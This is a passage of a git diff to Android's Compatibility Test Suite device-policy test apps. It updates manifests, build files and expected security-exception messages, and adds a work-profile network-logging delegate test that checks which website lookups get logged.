+         android:targetSdkVersion="29"/>
 
     <!-- We need to request the permission, which is denied in the test. -->
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
 
-    <application
-        android:crossProfile="true">
-        <receiver android:name=".CrossProfileEnabledNoPermsAppReceiver">
+    <application android:crossProfile="true">
+        <receiver android:name=".CrossProfileEnabledNoPermsAppReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED" />
+                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
             </intent-filter>
         </receiver>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.crossprofileenablednopermsapp"
-                     android:label="Launcher Apps CTS Tests"/>
+         android:targetPackage="com.android.cts.crossprofileenablednopermsapp"
+         android:label="Launcher Apps CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
index d7de8c6..d8589cd 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCrossProfileNotEnabledApp",
     defaults: ["cts_defaults"],
@@ -34,5 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/AndroidManifest.xml
index 6af733e..d616942 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/AndroidManifest.xml
@@ -16,26 +16,27 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.crossprofilenotenabledapp">
+     package="com.android.cts.crossprofilenotenabledapp">
 
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
 
-    <application
-        android:crossProfile="false">
-        <receiver android:name=".CrossProfileNotEnabledAppReceiver">
+    <application android:crossProfile="false">
+        <receiver android:name=".CrossProfileNotEnabledAppReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED" />
+                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
             </intent-filter>
         </receiver>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.crossprofilenotenabledapp"
-                     android:label="Launcher Apps CTS Tests"/>
+         android:targetPackage="com.android.cts.crossprofilenotenabledapp"
+         android:label="Launcher Apps CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
index af28434..06109ba 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCrossProfileUserEnabledApp",
     defaults: ["cts_defaults"],
@@ -34,5 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/AndroidManifest.xml
index c10c617..d89a88a 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/AndroidManifest.xml
@@ -16,24 +16,25 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.crossprofileuserenabledapp">
+     package="com.android.cts.crossprofileuserenabledapp">
 
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
-    <application
-        android:crossProfile="true">
-        <receiver android:name=".CrossProfileUserEnabledAppReceiver">
+    <application android:crossProfile="true">
+        <receiver android:name=".CrossProfileUserEnabledAppReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED" />
+                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
             </intent-filter>
         </receiver>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.crossprofileuserenabledapp"
-                     android:label="Launcher Apps CTS Tests"/>
+         android:targetPackage="com.android.cts.crossprofileuserenabledapp"
+         android:label="Launcher Apps CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
index 277baed..562fefa 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsModifyQuietModeEnabledApp",
     defaults: ["cts_defaults"],
@@ -34,5 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
index c324641..f30e161 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCustomizationApp",
     defaults: ["cts_defaults"],
@@ -23,6 +19,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
index d6b271d..a0eb667 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDelegateApp",
     defaults: ["cts_defaults"],
@@ -38,5 +34,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
index 33da314..9618e9b 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
@@ -15,25 +15,24 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.delegate">
+     package="com.android.cts.delegate">
 
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.INTERNET"/>
 
     <application android:usesCleartextTraffic="true">
-        <uses-library android:name="android.test.runner" />
-        <activity
-            android:name="com.android.cts.delegate.DelegatedScopesReceiverActivity"
-            android:exported="true">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="com.android.cts.delegate.DelegatedScopesReceiverActivity"
+             android:exported="true">
         </activity>
-        <receiver
-            android:name=".NetworkLoggingDelegateTest$NetworkLogsReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name=".DelegateTestUtils$NetworkLogsReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.NETWORK_LOGS_AVAILABLE"/>
             </intent-filter>
         </receiver>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.delegate"
-                     android:label="Delegation CTS Tests"/>
+         android:targetPackage="com.android.cts.delegate"
+         android:label="Delegation CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
index a00f7b5..8401937 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
@@ -89,12 +89,12 @@
                 amIAppRestrictionsDelegate());
 
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
                 });
 
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
index f706b85..26afac9 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
@@ -48,7 +48,7 @@
             amIBlockUninstallDelegate());
 
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setUninstallBlocked(null, TEST_APP_PKG, true);
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
index 933e257..dbe8cc5 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
@@ -124,12 +124,12 @@
         assertFalse(amICertInstallDelegate());
 
         assertExpectException(SecurityException.class,
-                "Neither user \\d+ nor current process has", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.installCaCert(null, null);
                 });
 
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.removeKeyPair(null, "alias");
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
index b162f86..7070841 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
@@ -15,9 +15,22 @@
  */
 package com.android.cts.delegate;
 
+import static junit.framework.Assert.fail;
+
+import android.app.admin.DelegatedAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.NetworkEvent;
+import android.content.Context;
+import android.content.Intent;
 import android.test.MoreAsserts;
+
 import junit.framework.Assert;
 
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 /**
  * Utils class for delegation tests.
  */
@@ -28,6 +41,38 @@
         void run() throws Exception;
     }
 
+    public static class NetworkLogsReceiver extends DelegatedAdminReceiver {
+
+        private static final long TIMEOUT_MIN = 1;
+
+        static CountDownLatch sBatchCountDown;
+        static ArrayList<NetworkEvent> sNetworkEvents = new ArrayList<>();
+
+        @Override
+        public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
+                int networkLogsCount) {
+            DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+            final List<NetworkEvent> events = dpm.retrieveNetworkLogs(null, batchToken);
+            if (events == null || events.size() == 0) {
+                fail("Failed to retrieve batch of network logs with batch token " + batchToken);
+            } else {
+                sNetworkEvents.addAll(events);
+                sBatchCountDown.countDown();
+            }
+        }
+
+        public static void waitForBroadcast() throws InterruptedException {
+            sBatchCountDown.await(TIMEOUT_MIN, TimeUnit.MINUTES);
+            if (sBatchCountDown.getCount() > 0) {
+                fail("Did not get DelegateAdminReceiver#onNetworkLogsAvailable callback");
+            }
+        }
+
+        public static List<NetworkEvent> getNetworkEvents() {
+            return sNetworkEvents;
+        }
+    }
+
     public static void assertExpectException(Class<? extends Throwable> expectedExceptionType,
             String expectedExceptionMessageRegex, ExceptionRunnable r) {
         try {
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
index 246f936..21e3f7c 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
@@ -51,13 +51,13 @@
 
         // Exercise enableSystemApp(String).
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.enableSystemApp(null, TEST_APP_PKG);
                 });
 
         // Exercise enableSystemApp(Intent).
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.enableSystemApp(null, new Intent().setPackage(TEST_APP_PKG));
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/NetworkLoggingDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/NetworkLoggingDelegateTest.java
index 2dd20ce..8e838cb 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/NetworkLoggingDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/NetworkLoggingDelegateTest.java
@@ -16,14 +16,11 @@
 package com.android.cts.delegate;
 
 import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
 import static com.google.common.truth.Truth.assertThat;
 
-import android.app.Activity;
-import android.app.admin.DelegatedAdminReceiver;
 import android.app.admin.DevicePolicyManager;
-import android.app.admin.NetworkEvent;
 import android.content.Context;
-import android.content.Intent;
 import android.support.test.uiautomator.UiDevice;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
@@ -33,9 +30,7 @@
 import java.io.IOException;
 import java.net.HttpURLConnection;
 import java.net.URL;
-import java.util.List;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Tests that a delegate app with DELEGATION_NETWORK_LOGGING is able to control and access
@@ -44,14 +39,11 @@
 public class NetworkLoggingDelegateTest extends InstrumentationTestCase {
 
     private static final String TAG = "NetworkLoggingDelegateTest";
-    private static final long TIMEOUT_MIN = 1;
 
     private Context mContext;
     private DevicePolicyManager mDpm;
-    private Activity mActivity;
     private UiDevice mDevice;
 
-
     private static final String[] URL_LIST = {
             "example.edu",
             "ipv6.google.com",
@@ -63,28 +55,6 @@
             "google.de"
     };
 
-    public static class NetworkLogsReceiver extends DelegatedAdminReceiver {
-        static CountDownLatch mBatchCountDown;
-        static Throwable mExceptionFromReceiver;
-
-        @Override
-        public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
-                int networkLogsCount) {
-            try {
-                DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
-                final List<NetworkEvent> events = dpm.retrieveNetworkLogs(null, batchToken);
-                if (events == null || events.size() == 0) {
-                    fail("Failed to retrieve batch of network logs with batch token " + batchToken);
-                }
-            } catch (Throwable e) {
-                mExceptionFromReceiver = e;
-            } finally {
-            mBatchCountDown.countDown();
-            }
-        }
-
-    }
-
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -92,8 +62,7 @@
         mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mContext = getInstrumentation().getContext();
         mDpm = mContext.getSystemService(DevicePolicyManager.class);
-        NetworkLogsReceiver.mBatchCountDown = new CountDownLatch(1);
-        NetworkLogsReceiver.mExceptionFromReceiver = null;
+        DelegateTestUtils.NetworkLogsReceiver.sBatchCountDown = new CountDownLatch(1);
     }
 
     public void testCanAccessApis() throws Throwable {
@@ -123,12 +92,7 @@
             }
             mDevice.executeShellCommand("dpm force-network-logs");
 
-            assertTrue("Delegated app did not receive network logs within time limit",
-                    NetworkLogsReceiver.mBatchCountDown.await(TIMEOUT_MIN, TimeUnit.MINUTES));
-            if (NetworkLogsReceiver.mExceptionFromReceiver != null) {
-                // Rethrow any exceptions that might have happened in the receiver.
-                throw NetworkLogsReceiver.mExceptionFromReceiver;
-            }
+            DelegateTestUtils.NetworkLogsReceiver.waitForBroadcast();
         } finally {
             mDpm.setNetworkLoggingEnabled(null, false);
             assertFalse(mDpm.isNetworkLoggingEnabled(null));
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
index 86f2639..05c2270 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
@@ -51,25 +51,25 @@
 
         // Exercise isApplicationHidden.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.isApplicationHidden(null, TEST_APP_PKG);
                 });
 
         // Exercise setApplicationHidden.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setApplicationHidden(null, TEST_APP_PKG, true /* hide */);
                 });
 
         // Exercise isPackageSuspended.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.isPackageSuspended(null, TEST_APP_PKG);
                 });
 
         // Exercise setPackagesSuspended.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setPackagesSuspended(null, new String[] {TEST_APP_PKG}, true /* suspend */);
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
index 81b74a2..55b6a5a 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
@@ -55,7 +55,7 @@
 
         // Exercise setPermissionPolicy.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setPermissionPolicy(null, PERMISSION_POLICY_AUTO_GRANT);
                 });
         assertFalse("Permission policy should not have been set",
@@ -63,14 +63,14 @@
 
         // Exercise setPermissionGrantState.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION,
                             PERMISSION_GRANT_STATE_GRANTED);
                 });
 
         // Exercise getPermissionGrantState.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.getPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION);
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/WorkProfileNetworkLoggingDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/WorkProfileNetworkLoggingDelegateTest.java
new file mode 100644
index 0000000..0b26658
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/WorkProfileNetworkLoggingDelegateTest.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.delegate;
+
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import android.app.admin.ConnectEvent;
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.DnsEvent;
+import android.app.admin.NetworkEvent;
+import android.content.Context;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.truth.Truth;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.URL;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+@RunWith(AndroidJUnit4.class)
+public class WorkProfileNetworkLoggingDelegateTest {
+
+    private static final String TAG = "WorkProfileNetworkLoggingDelegateTest";
+    private static final String CTS_APP_PACKAGE_NAME = "com.android.cts.delegate";
+
+    // Should not be added to the list of network events.
+    private static final String[] NOT_LOGGED_URLS_LIST = {
+            "wikipedia.org",
+            "wikipedia.com",
+            "google.pl",
+    };
+
+    // Should be added to the list of network events.
+    private static final String[] LOGGED_URLS_LIST = {
+            "example.com",
+            "example.net",
+            "example.org",
+            "example.edu",
+            "ipv6.google.com",
+            "google.co.jp",
+            "google.fr",
+            "google.com.br",
+            "google.com.tr",
+            "google.co.uk",
+            "google.de"
+    };
+
+    private Context mContext;
+    private DevicePolicyManager mDpm;
+    private UiDevice mDevice;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+        mDpm = mContext.getSystemService(DevicePolicyManager.class);
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        DelegateTestUtils.NetworkLogsReceiver.sBatchCountDown = new CountDownLatch(1);
+    }
+
+    @Test
+    public void testCannotAccessApis() {
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.isNetworkLoggingEnabled(null));
+
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.setNetworkLoggingEnabled(null, true));
+
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.retrieveNetworkLogs(null, 0));
+    }
+
+    @Test
+    public void testSetNetworkLogsEnabled_true() {
+        mDpm.setNetworkLoggingEnabled(null, true);
+
+        assertThat(mDpm.isNetworkLoggingEnabled(null)).isTrue();
+    }
+
+    @Test
+    public void testConnectToWebsites_shouldBeLogged() {
+        for (final String url : LOGGED_URLS_LIST) {
+            connectToWebsite(url);
+        }
+    }
+
+    @Test
+    public void testConnectToWebsites_shouldNotBeLogged() {
+        for (final String url : NOT_LOGGED_URLS_LIST) {
+            connectToWebsite(url);
+        }
+    }
+
+    @Test
+    public void testRetrieveNetworkLogs_forceNetworkLogs_receiveNetworkLogs() throws Exception {
+        mDevice.executeShellCommand("dpm force-network-logs");
+        DelegateTestUtils.NetworkLogsReceiver.waitForBroadcast();
+
+        verifyNetworkLogs(DelegateTestUtils.NetworkLogsReceiver.getNetworkEvents());
+    }
+
+    private void verifyNetworkLogs(List<NetworkEvent> networkEvents) {
+        int receivedEventsFromLoggedUrlsList = 0;
+
+        for (final NetworkEvent currentEvent : networkEvents) {
+            if (CTS_APP_PACKAGE_NAME.equals(currentEvent.getPackageName())) {
+                if (currentEvent instanceof DnsEvent) {
+                    final DnsEvent dnsEvent = (DnsEvent) currentEvent;
+                    if (Arrays.asList(LOGGED_URLS_LIST).contains(dnsEvent.getHostname())) {
+                        receivedEventsFromLoggedUrlsList++;
+                        // Verify all hostnames looked-up from the personal profile were not logged.
+                    } else {
+                        Truth.assertWithMessage("A hostname that was looked-up from "
+                                + "the personal profile was logged.")
+                                .that(Arrays.asList(NOT_LOGGED_URLS_LIST))
+                                .doesNotContain(dnsEvent.getHostname());
+                    }
+
+                } else if (currentEvent instanceof ConnectEvent) {
+                    final ConnectEvent connectEvent = (ConnectEvent) currentEvent;
+                    final InetAddress ip = connectEvent.getInetAddress();
+                    assertThat(isIpv4OrIpv6Address(ip)).isTrue();
+
+                } else {
+                    fail("An unknown NetworkEvent type logged: "
+                            + currentEvent.getClass().getName());
+                }
+            }
+        }
+        assertThat(receivedEventsFromLoggedUrlsList).isEqualTo(LOGGED_URLS_LIST.length);
+    }
+
+    private boolean isIpv4OrIpv6Address(InetAddress addr) {
+        return ((addr instanceof Inet4Address) || (addr instanceof Inet6Address));
+    }
+
+    @Test
+    public void testSetNetworkLogsEnabled_false() {
+        mDpm.setNetworkLoggingEnabled(null, false);
+
+        assertThat(mDpm.isNetworkLoggingEnabled(null)).isFalse();
+    }
+
+    private void connectToWebsite(String server) {
+        HttpURLConnection urlConnection = null;
+        try {
+            final URL url = new URL("https://" + server);
+            urlConnection = (HttpURLConnection) url.openConnection();
+            urlConnection.setConnectTimeout(2000);
+            urlConnection.setReadTimeout(2000);
+            urlConnection.getResponseCode();
+        } catch (IOException e) {
+            Log.w(TAG, "Failed to connect to " + server, e);
+        } finally {
+            if (urlConnection != null) {
+                urlConnection.disconnect();
+            }
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
index 7af83ca..8c52826 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
